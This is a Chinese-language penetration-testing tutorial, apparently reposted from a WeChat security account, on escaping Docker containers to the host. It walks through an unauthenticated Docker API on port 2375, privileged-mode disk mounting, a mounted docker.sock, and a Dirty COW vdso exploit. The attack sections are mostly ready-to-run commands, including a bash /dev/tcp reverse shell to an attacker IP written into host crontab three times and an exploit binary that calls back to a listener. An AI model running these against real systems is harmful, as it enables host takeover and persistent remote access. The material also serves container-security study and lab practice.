0、前言
在攻防中,拿到webshell后,发现自己是在docker容器中,拿到的并不是宿主机的权限,那我们就需要进一步渗透,就必须逃逸到宿主机中,拿到宿主机的权限。
安装docker服务:
curl -s https://get.docker.com/ | sh
启动docker服务:
systemctl start docker
1、如何判断当前机器是否为docker容器环境
1.1 检查根目录下是否存在.dockerenv文件
进入docker容器环境:
docker ps -a
docker exec -it [容器ID] bash
如果根目录下存在.dockerenv文件,说明是在docker容器中。
ls -al /
1.2 检查 /proc/1/cgroup 是否存在含有docker字符串
查询系统进程的cgroup信息,存在docker字段则是在docker容器中。
cat /proc/1/cgroup
2、Docker Remote API未授权访问逃逸
在使用docker swarm的时候,管理的docker节点上会开放一个TCP端口2375,默认绑定在0.0.0.0上,造成任何人都可以访问管理端的2375端口,任何人都可以远程控制管理的docker环境。
2.1 环境搭建
访问链接下载vulhub漏洞环境:
https://vulhub.org/#/docs/download-vulhub/
进入文件夹,docker启动环境:
cd vulhub-master/docker/unauthorized-rce
docker-compose build
docker-compose up -d
2.2 漏洞验证
访问version和info界面,如果存在返回信息,说明漏洞存在。
http://192.168.19.139:2375/version
http://192.168.19.139:2375/info
2.3 漏洞利用
在利用之前,需要在攻击机安装好docker,通过命令查看目标主机是否存在正在运行的docker镜像,结果为空,说明不存在正在运行的docker容器。
docker -H tcp://192.168.19.139:2375 ps
让目标主机拉取一个alpine镜像。
docker -H tcp://192.168.19.139:2375 pull alpine
查看目标主机拉取的镜像。
docker -H tcp://192.168.19.139:2375 images
以特权模式,启动进入alpine镜像容器,将宿主机所在磁盘挂载到/mnt目录。
docker -H tcp://192.168.19.139:2375 run -it --privileged alpine sh
fdisk -l
mount /dev/sda5 /mnt
创建回连shell脚本,将脚本文件写入宿主机计划任务。
echo 'bash -i >& /dev/tcp/192.168.19.128/6666 0>&1' > /mnt/back.sh
echo '* * * * * root bash /back.sh' >> /mnt/etc/crontab
回到攻击机开启nc监听6666端口,获取宿主机shell。
3、privileged特权模式启动容器逃逸
特权模式逃逸是一种最简单有效的逃逸方法,使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot切换根目录、写ssh公钥和crontab计划任何等逃逸到宿主机。
3.1 环境搭建
拉取一个ubuntu:16.04镜像,在启用时使用--privileged特权模式。
docker pull ubuntu:16.04
docker run -itd --privileged ubuntu:16.04 /bin/bash
进入ubuntu:16.04镜像容器环境。
docker ps -a
docker exec -it 2a55968d2968 /bin/bash
3.2 漏洞验证
判断是否是特权模式启动,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff字符。
cat /proc/self/status |grep Cap
3.3 漏洞利用
在docker容器中查看系统磁盘分区情况,将宿主机所在磁盘挂载到/mnt目录中。
fdisk -l
mount /dev/sda5 /mnt
创建回连shell脚本,将脚本文件写入宿主机计划任务。
echo 'bash -i >& /dev/tcp/192.168.19.128/6666 0>&1' > /mnt/back.sh
echo '* * * * * root bash /back.sh' >> /mnt/etc/crontab
回到攻击机开启nc监听6666端口,获取宿主机shell。
4、挂载Docker Socket逃逸
在启动docker容器时,将宿主机/var/run/docker.sock文件挂载到docker容器中,在docker容器中,也可以操作宿主机的docker。
Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种,使用下面命令,就可以操作目标docker,使用docker命令,操作docker:
unix:///var/run/docker.sock
tcp://host:port
fd://socketfd
4.1 环境搭建
拉取一个ubuntu:16.04镜像,在启用时使用-v参数将docker.sock挂载到容器。
docker pull ubuntu:16.04
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash
4.2 漏洞验证
如果存在docker.sock文件,说明漏洞可能存在。
find / -name docker.sock
4.3 漏洞利用
在docker容器中安装docker服务。
apt-get update
apt-get install docker.io
在docker容器中,使用命令查看宿主机拉取的镜像。
docker -H unix://var/run/docker.sock images
在docker容器中,使用docker命令再运行一个docker容器,将宿主机的根目录挂载到ubuntu:16.04容器的/mnt目录中。
docker -H unix://var/run/docker.sock run -v /:/mnt -it ubuntu:16.04 /bin/bash
创建回连shell脚本,将脚本文件写入宿主机计划任务。
echo 'bash -i >& /dev/tcp/192.168.19.128/6666 0>&1' > /mnt/back.sh
echo '* * * * * root bash /back.sh' >> /mnt/etc/crontab
回到攻击机开启nc监听6666端口,获取宿主机shell。
5、脏牛漏洞实现Docker逃逸
当宿主机存在Dirty Cow(CVE-2016-5195)漏洞时,利用该漏洞,可实现Docker容器逃逸,获得root权限的shell。
5.1 环境搭建
使用存在脏牛提权漏洞的宿主机,如ubuntu14.04进行复现,执行下面命令下载启动docker漏洞容器。
git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash
进入脏牛提权docker镜像容器环境。
docker ps -a
docker exec -it e9e064cf1caf /bin/bash
5.2 漏洞利用
在攻击机中开启监听,git下载dirtycow-vdso进入目录,编译执行回连操作。
git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso
make
./0xdeadbeef 192.168.59.145:6666
回到攻击机看到nc监听的6666端口,获取宿主机shell。
原文始发于微信公众号(ZackSecurity):【容器安全】常用Docker逃逸方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论